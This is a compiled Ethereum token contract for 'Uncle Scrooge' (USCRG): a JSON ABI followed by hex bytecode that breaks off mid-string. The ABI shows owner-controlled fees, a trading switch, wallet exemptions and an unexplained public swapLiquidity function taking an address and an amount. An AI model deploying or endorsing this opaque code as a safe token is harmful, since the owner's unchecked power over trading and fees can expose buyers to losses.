[{"inputs":[{"internalType":"address","name":"marketing","type":"address"},{"internalType":"address","name":"tresury","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"AutomatedMarketMakerPairChange","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFeesChange","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromMaxStructureChange","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromMaxTransferChange","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"string","name":"identifier","type":"string"},{"indexed":false,"internalType":"uint8","name":"liquidityFee","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"marketingFee","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"buyBackFee","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"burnFee","type":"uint8"}],"name":"FeeChange","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint8","name":"liquidityFee","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"marketingFee","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"buyBackFee","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"burnFee","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"totalFee","type":"uint8"}],"name":"FeesApplied","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"newValue","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"oldValue","type":"uint256"}],"name":"MaxTransactionAmountChange","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"newValue","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"oldValue","type":"uint256"}],"name":"MaxWalletAmountChange","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"newValue","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"oldValue","type":"uint256"}],"name":"MinTokenAmountBeforeSwapChange","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"string","name":"indentifier","type":"string"},{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"StructureChange","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"newValue","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"oldValue","type":"uint256"},{"indexed":true,"internalType":"string","name":"taxType","type":"string"},{"indexed":false,"internalType":"bytes23","name":"period","type":"bytes23"}],"name":"TaxFeeSettingChange","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint8","name":"_burnFee","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"burnAmount","type":"uint256"}],"name":"TokenBurn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UniswapV2RouterChange","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_swapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromMaxTransactionLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromMaxWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getBaseBuyFees","outputs":[{"internalType":"uint8","name":"","type":"uint8"},{"internalType":"uint8","name":"","type":"uint8"},{"internalType":"uint8","name":"","type":"uint8"},{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getBaseSellFees","outputs":[{"internalType":"uint8","name":"","type":"uint8"},{"internalType":"uint8","name":"","type":"uint8"},{"internalType":"uint8","name":"","type":"uint8"},{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isTradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimitis","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"_liquidityFeeOnBuy","type":"uint8"},{"internalType":"uint8","name":"_marketingFeeOnBuy","type":"uint8"},{"internalType":"uint8","name":"_buyBackFeeOnBuy","type":"uint8"},{"internalType":"uint8","name":"_burnFeeOnBuy","type":"uint8"}],"name":"setBaseFeesOnBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"_liquidityFeeOnSell","type":"uint8"},{"internalType":"uint8","name":"_marketingFeeOnSell","type":"uint8"},{"internalType":"uint8","name":"_buyBackFeeOnSell","type":"uint8"},{"internalType":"uint8","name":"_burnFeeOnSell","type":"uint8"}],"name":"setBaseFeesOnSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setMaxTransactionAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setMinimumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"},{"internalType":"address","name":"newTreasuryWallet","type":"address"}],"name":"setStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052612710620000216b033b2e3c9fd0803ce800000061012c620008a6565b6200002d9190620008c0565b6007556127106200004c6b033b2e3c9fd0803ce800000060c8620008a6565b620000589190620008c0565b600855612710620000776b033b2e3c9fd0803ce80000006003620008a6565b620000839190620008c0565b600c556040805161016081018252636261736560e01b8152600060208201819052918101829052606081018290526080810182905260a0810182905260c0810182905260e081018290526101008101829052610120810182905261014001819052600f80546001600160c01b031916636261736560981b179055601055601180546001600160401b03191690553480156200011d57600080fd5b5060405162003f1f38038062003f1f833981016040819052620001409162000900565b6040518060400160405280600d81526020016c556e636c65205363726f6f676560981b81525060405180604001604052806005815260200164555343524760d81b8152506000620001966200062460201b60201c565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506004620001ee8382620009dc565b506005620001fd8282620009dc565b5050506000737a250d5630b4cf539739df2c5dacb4c659f2488d90506000816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200025a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000280919062000aa8565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002ce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f4919062000aa8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000342573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000368919062000aa8565b600680546001600160a01b0319166001600160a01b0385811691909117909155811660805290506200039c81600162000628565b600e80546001600160a01b038087166001600160a01b031992831617909255600d805492861692909116919091179055600160136000620003e56000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600d54821681526013909352818320805485166001908117909155600e549091168352818320805485168217905530835290822080549093168117909255601290620004676000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530815260149283905290812080549093166001908117909355620004bf6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600d548216815260148452828120805486166001908117909155600e54831682528382208054871682179055868316825260159485905283822080548716821790556006549092168152828120805486168317905530815291822080549094168117909355620005656000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600d54821681526015909352818320805485166001908117909155600e549091168352908220805484168217905561dead9091527f7ed1dca03d96f947ab02d66053f47073699eb6287021936c92f54972932767e580549092161790556200061a620006076000546001600160a01b031690565b6b033b2e3c9fd0803ce800000062000718565b5050505062000ae3565b3390565b6001600160a01b03821660009081526016602052604090205481151560ff909116151503620006c45760405162461bcd60e51b815260206004820152603860248201527f4175746f6d61746564206d61726b6574206d616b65722070616972206973206160448201527f6c72656164792073657420746f20746861742076616c7565000000000000000060648201526084015b60405180910390fd5b6001600160a01b038216600081815260166020526040808220805460ff191685151590811790915590519092917fa666b9b2dc2c8f2d86fda7ba3a115be30d3a958fd84d359cbc6bc919df97990a91a35050565b6001600160a01b038216620007705760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620006bb565b6200078c816003546200082460201b620016091790919060201c565b6003556001600160a01b038216600090815260016020908152604090912054620007c19183906200160962000824821b17901c565b6001600160a01b0383166000818152600160205260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90620008139085815260200190565b60405180910390a35050565b505050565b60008062000833838562000acd565b905083811015620008875760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401620006bb565b90505b92915050565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176200088a576200088a62000890565b600082620008de57634e487b7160e01b600052601260045260246000fd5b500490565b80516001600160a01b0381168114620008fb57600080fd5b919050565b600080604083850312156200091457600080fd5b6200091f83620008e3565b91506200092f60208401620008e3565b90509250929050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200096357607f821691505b6020821081036200098457634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200081f57600081815260208120601f850160051c81016020861015620009b35750805b601f850160051c820191505b81811015620009d457828155600101620009bf565b505050505050565b81516001600160401b03811115620009f857620009f862000938565b62000a108162000a0984546200094e565b846200098a565b602080601f83116001811462000a48576000841562000a2f5750858301515b600019600386901b1c1916600185901b178555620009d4565b600085815260208120601f198616915b8281101562000a795788860151825594840194600190910190840162000a58565b508582101562000a985787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b60006020828403121562000abb57600080fd5b62000ac682620008e3565b9392505050565b808201808211156200088a576200088a62000890565b60805161341262000b0d6000396000818161041601528181610b860152610ceb01526134126000f3fe60806040526004361061021e5760003560e01c8063880bcbc111610123578063aee50b1e116100ab578063cd43e2281161006f578063cd43e22814610646578063d2d7ad83146106a5578063dd62ed3e146106bb578063f2fde38b14610701578063fe0175351461072157600080fd5b8063aee50b1e146105a1578063b62496f5146105c1578063bd6d94fc146105f1578063c024666814610611578063c9567bf91461063157600080fd5b80639d952ce9116100f25780639d952ce9146105165780639dccf6f114610536578063a457c2d71461054b578063a9059cbb1461056b578063aa4bde281461058b57600080fd5b8063880bcbc1146104ad5780638c0b5e22146104cd5780638da5cb5b146104e357806395d89b411461050157600080fd5b8063313ce567116101a657806349bd5a5e1161017557806349bd5a5e14610404578063667812911461043857806370a0823114610458578063715018a614610478578063781edb3c1461048d57600080fd5b8063313ce5671461038857806339509351146103a45780633b8dffd4146103c457806342966c68146103e457600080fd5b806318160ddd116101ed57806318160ddd146102da5780631cdbf848146102f95780631e293c101461032657806323b872dd1461034857806327a14fc21461036857600080fd5b8063064a59d01461022a57806306fdde0314610260578063095ea7b3146102825780631694505e146102a257600080fd5b3661022557005b600080fd5b34801561023657600080fd5b5060065461024b90600160a01b900460ff1681565b60405190151581526020015b60405180910390f35b34801561026c57600080fd5b5061027561075c565b6040516102579190612e1b565b34801561028e57600080fd5b5061024b61029d366004612e7e565b6107ee565b3480156102ae57600080fd5b506006546102c2906001600160a01b031681565b6040516001600160a01b039091168152602001610257565b3480156102e657600080fd5b506003545b604051908152602001610257565b34801561030557600080fd5b506102eb610314366004612eaa565b60176020526000908152604090205481565b34801561033257600080fd5b50610346610341366004612ec7565b610805565b005b34801561035457600080fd5b5061024b610363366004612ee0565b6108fe565b34801561037457600080fd5b50610346610383366004612ec7565b610968565b34801561039457600080fd5b5060405160128152602001610257565b3480156103b057600080fd5b5061024b6103bf366004612e7e565b610ab9565b3480156103d057600080fd5b506103466103df366004612f21565b610aef565b3480156103f057600080fd5b506103466103ff366004612ec7565b610de6565b34801561041057600080fd5b506102c27f000000000000000000000000000000000000000000000000000000000000000081565b34801561044457600080fd5b50610346610453366004612f70565b610df3565b34801561046457600080fd5b506102eb610473366004612eaa565b610f13565b34801561048457600080fd5b50610346610f2e565b34801561049957600080fd5b506103466104a8366004612fc4565b610fa2565b3480156104b957600080fd5b506103466104c8366004612fc4565b61106c565b3480156104d957600080fd5b506102eb60085481565b3480156104ef57600080fd5b506000546001600160a01b03166102c2565b34801561050d57600080fd5b5061027561112e565b34801561052257600080fd5b50610346610531366004612f70565b61113d565b34801561054257600080fd5b50610346611204565b34801561055757600080fd5b5061024b610566366004612e7e565b611245565b34801561057757600080fd5b5061024b610586366004612e7e565b611294565b34801561059757600080fd5b506102eb60075481565b3480156105ad57600080fd5b506103466105bc366004612ec7565b6112a1565b3480156105cd57600080fd5b5061024b6105dc366004612eaa565b60166020526000908152604090205460ff1681565b3480156105fd57600080fd5b5061034661060c366004612ff7565b61136b565b34801561061d57600080fd5b5061034661062c366004612fc4565b61141e565b34801561063d57600080fd5b506103466114e0565b34801561065257600080fd5b5060115460ff80821691620100008104821691600160201b8204811691600160301b9004165b6040805160ff95861681529385166020850152918416918301919091529091166060820152608001610257565b3480156106b157600080fd5b506102eb600c5481565b3480156106c757600080fd5b506102eb6106d6366004612f21565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561070d57600080fd5b5061034661071c366004612eaa565b61151f565b34801561072d57600080fd5b5060115460ff610100820481169163010000008104821691600160281b8204811691600160381b900416610678565b60606004805461076b9061302c565b80601f01602080910402602001604051908101604052809291908181526020018280546107979061302c565b80156107e45780601f106107b9576101008083540402835291602001916107e4565b820191906000526020600020905b8154815290600101906020018083116107c757829003601f168201915b5050505050905090565b60006107fb338484611668565b5060015b92915050565b6000546001600160a01b031633146108385760405162461bcd60e51b815260040161082f90613066565b60405180910390fd5b670de0b6b3a76400006103e861084d60035490565b6108589060026130b1565b61086291906130de565b61086c91906130de565b8110156108cb5760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f7420736574206d6178547820416d6f756e74206c6f776572207468604482015266616e20302e322560c81b606482015260840161082f565b60085460405182907f75f1c17bf623f0f7a2bd91ba61e89dff216960370e3e9a46b250750d03e4215e90600090a3600855565b600061090b84848461178d565b61095d843361095885604051806060016040528060288152602001613390602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611d70565b611668565b5060015b9392505050565b6000546001600160a01b031633146109925760405162461bcd60e51b815260040161082f90613066565b670de0b6b3a76400006103e86109a760035490565b6109b29060146130b1565b6109bc91906130de565b6109c691906130de565b811015610a215760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e322560e01b606482015260840161082f565b6007548103610a865760405162461bcd60e51b815260206004820152602b60248201527f43616e6e6f7420757064617465206d617857616c6c6574416d6f756e7420746f60448201526a2073616d652076616c756560a81b606482015260840161082f565b60075460405182907f6d3e257c59a11116c3e97bb144abf5ba1a6a9da6bd509192ecf0d48f7be1fc7690600090a3600755565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916107fb9185906109589086611609565b6000546001600160a01b03163314610b195760405162461bcd60e51b815260040161082f90613066565b600d546001600160a01b03838116911614610c7e576001600160a01b038216610b845760405162461bcd60e51b815260206004820152601f60248201527f546865206d61726b6574696e6757616c6c65742063616e6e6f74206265203000604482015260640161082f565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031603610c055760405162461bcd60e51b815260206004820152601f60248201527f546865206d61726b6574696e6757616c6c65742063616e6e6f74206265203000604482015260640161082f565b600d546040516e1b585c9ad95d1a5b99d5d85b1b195d608a1b81526001600160a01b0391821691841690600f01604051908190038120907fd1fafbc3fb0c1fd12765451e803b8d5049dca18f8055298e7d18ebcd0d2ce31290600090a4600d80546001600160a01b0319166001600160a01b0384161790555b600e546001600160a01b03828116911614610de2576001600160a01b038116610ce95760405162461bcd60e51b815260206004820152601e60248201527f54686520747265617375727957616c6c65742063616e6e6f7420626520300000604482015260640161082f565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316816001600160a01b031603610d6a5760405162461bcd60e51b815260206004820152601e60248201527f54686520747265617375727957616c6c65742063616e6e6f7420626520300000604482015260640161082f565b600e80546040516d1d1c99585cdd5c9e55d85b1b195d60921b81526001600160a01b03918216929184169101604051908190038120907fd1fafbc3fb0c1fd12765451e803b8d5049dca18f8055298e7d18ebcd0d2ce31290600090a4600e80546001600160a01b0319166001600160a01b0383161790555b5050565b610df03382611daa565b50565b6000546001600160a01b03163314610e1d5760405162461bcd60e51b815260040161082f90613066565b8082610e2985876130f2565b610e3391906130f2565b610e3d91906130f2565b60ff16600111610e8f5760405162461bcd60e51b815260206004820152601860248201527f73656c6c20666565206d75737420626520666169722121210000000000000000604482015260640161082f565b610e9d600f85858585611eb5565b6040516c18985cd95199595ccb54d95b1b609a1b8152600d015b6040805191829003822060ff878116845286811660208501528581168484015284166060840152905190917f69848adfba904cea9fd12f8e800c6bae1d85101b0becc5910e509a93d81449e9919081900360800190a250505050565b6001600160a01b031660009081526001602052604090205490565b6000546001600160a01b03163314610f585760405162461bcd60e51b815260040161082f90613066565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610fcc5760405162461bcd60e51b815260040161082f90613066565b6001600160a01b03821660009081526015602052604090205481151560ff90911615150361100c5760405162461bcd60e51b815260040161082f9061310b565b6001600160a01b038216600081815260156020908152604091829020805460ff191685151590811790915591519182527fb7eada217e08491d4a03c266f93cd278befd124ab34890a5e7f44d023cbade7391015b60405180910390a25050565b6000546001600160a01b031633146110965760405162461bcd60e51b815260040161082f90613066565b6001600160a01b03821660009081526014602052604090205481151560ff9091161515036110d65760405162461bcd60e51b815260040161082f9061310b565b6001600160a01b038216600081815260146020908152604091829020805460ff191685151590811790915591519182527f30098fc83ab61b1a98835d32c4e611adedccfc260eeef586bd329d48e8a40a409101611060565b60606005805461076b9061302c565b6000546001600160a01b031633146111675760405162461bcd60e51b815260040161082f90613066565b808261117385876130f2565b61117d91906130f2565b61118791906130f2565b60ff166001116111d95760405162461bcd60e51b815260206004820152601760248201527f62757920666565206d7573742062652066616972212121000000000000000000604482015260640161082f565b6111e7600f85858585612117565b6040516b62617365466565732d42757960a01b8152600c01610eb7565b6000546001600160a01b0316331461122e5760405162461bcd60e51b815260040161082f90613066565b6b033b2e3c9fd0803ce80000006007819055600855565b60006107fb3384610958856040518060600160405280602581526020016133b8602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190611d70565b60006107fb33848461178d565b6000546001600160a01b031633146112cb5760405162461bcd60e51b815260040161082f90613066565b600c5481036113385760405162461bcd60e51b815260206004820152603360248201527f43616e6e6f7420757064617465206d696e696d756d546f6b656e734265666f72604482015272655377617020746f2073616d652076616c756560681b606482015260840161082f565b600c5460405182907f5b0491f767c1463bea8972339f785795be1a38784cc6483cf649cdcbb28c46b090600090a3600c55565b600c5461137730610f13565b10156113d75760405162461bcd60e51b815260206004820152602960248201527f7377617020616d6f756e74206d757374206f766572207468616e2073776170206044820152686d696e2076616c756560b81b606482015260840161082f565b6113e2838383612361565b1561141957601854600160201b900460ff1615611419576009805460ff1916600117905561140e612524565b6009805460ff191690555b505050565b6000546001600160a01b031633146114485760405162461bcd60e51b815260040161082f90613066565b6001600160a01b03821660009081526013602052604090205481151560ff9091161515036114885760405162461bcd60e51b815260040161082f9061310b565b6001600160a01b038216600081815260136020908152604091829020805460ff191685151590811790915591519182527fa856ba9fdc54a5434b2359874c95612f520a2d7f858864ae98d15c1b2099ca8b9101611060565b6000546001600160a01b0316331461150a5760405162461bcd60e51b815260040161082f90613066565b6006805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146115495760405162461bcd60e51b815260040161082f90613066565b6001600160a01b0381166115ae5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161082f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000806116168385613155565b9050838110156109615760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161082f565b6001600160a01b0383166116ca5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161082f565b6001600160a01b03821661172b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161082f565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166117b35760405162461bcd60e51b815260040161082f90613168565b6001600160a01b0382166117d95760405162461bcd60e51b815260040161082f906131ad565b806000036117ed5761141983836000612773565b6001600160a01b03808416600081815260166020908152604080832054948716835280832054938352601290915290205460ff92831692918216911615801561184f57506001600160a01b03841660009081526012602052604090205460ff16155b15611b2357600654600160a01b900460ff166118ad5760405162461bcd60e51b815260206004820152601e60248201527f54726164696e672069732063757272656e746c792064697361626c65642e0000604482015260640161082f565b6001600160a01b03851660009081526016602052604090205460ff1680156118ee57506001600160a01b03841660009081526014602052604090205460ff16155b156119bf576008548311156119565760405162461bcd60e51b815260206004820152602860248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526736b0bc10313abc9760c11b606482015260840161082f565b60075461196285610f13565b61196c9085613155565b11156119ba5760405162461bcd60e51b815260206004820152601860248201527f43616e6e6f7420457863656564206d61782077616c6c65740000000000000000604482015260640161082f565b611b23565b6001600160a01b03841660009081526016602052604090205460ff168015611a0057506001600160a01b03851660009081526014602052604090205460ff16155b15611a6a576008548311156119ba5760405162461bcd60e51b815260206004820152602a60248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152691036b0bc1039b2b6361760b11b606482015260840161082f565b6001600160a01b03841660009081526014602052604090205460ff16611aee57600754611a9685610f13565b611aa09085613155565b11156119ba5760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f74204578636565642074782077616c6c6574000000000000000000604482015260640161082f565b60095460ff16158015611b1957506001600160a01b03851660009081526014602052604090205460ff165b15611b235742600a555b611b2f8282878761287f565b6000600c54611b3d30610f13565b6006549111159150600160a01b900460ff168015611b585750805b8015611b67575060095460ff16155b8015611b7e5750601854600160201b900460ff1615155b8015611ba257506001600160a01b03851660009081526016602052604090205460ff165b8015611bc757506001600160a01b03861660009081526013602052604090205460ff16155b8015611bec57506001600160a01b03851660009081526013602052604090205460ff16155b15611c11576009805460ff19166001179055611c06612524565b6009805460ff191690555b60095460009060ff16158015611c305750600654600160a01b900460ff165b6001600160a01b03881660009081526013602052604090205490915060ff1680611c7257506001600160a01b03861660009081526013602052604090205460ff165b15611c7b575060005b808015611c935750601854600160201b900460ff1615155b15611d5c57601854600090606490611cb590600160201b900460ff16886130b1565b611cbf91906130de565b601854909150600090606490611cdf906301000000900460ff16896130b1565b611ce991906130de565b9050611cf582886131f0565b9650611d02893084612773565b8015611d5957611d123082611daa565b60185460408051630100000090920460ff168252602082018390527ffecf12fd01122af77b8b8f1a0f126363142d14fba298ea36d9fe4909f61bb5a1910160405180910390a15b50505b611d67878787612773565b50505050505050565b60008184841115611d945760405162461bcd60e51b815260040161082f9190612e1b565b506000611da184866131f0565b95945050505050565b6001600160a01b038216611e0a5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161082f565b611e4781604051806060016040528060228152602001613328602291396001600160a01b0385166000908152600160205260409020549190611d70565b6001600160a01b038316600090815260016020526040902055600354611e6d9082612b1e565b6003556040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600285015460ff8581166101009092041614611f4657604051711b1a5c5d5a591a5d